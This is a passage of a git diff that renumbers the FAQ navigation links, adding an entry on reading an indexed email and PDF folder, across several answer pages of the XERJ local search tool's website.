href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class="active"><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/knowledge-graphs-for-agent-memory.html b/landing/answers/knowledge-graphs-for-agent-memory.htmlindex 443e47d26..64eab1f5a 100644--- a/landing/answers/knowledge-graphs-for-agent-memory.html+++ b/landing/answers/knowledge-graphs-for-agent-memory.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/local-embeddings-without-openai-api.html b/landing/answers/local-embeddings-without-openai-api.htmlindex 0c6cdc715..f744568ec 100644--- a/landing/answers/local-embeddings-without-openai-api.html+++ b/landing/answers/local-embeddings-without-openai-api.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/mcp-api-search-or-vector-search.html b/landing/answers/mcp-api-search-or-vector-search.htmlindex 30faf09c5..268a2d728 100644--- a/landing/answers/mcp-api-search-or-vector-search.html+++ b/landing/answers/mcp-api-search-or-vector-search.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says 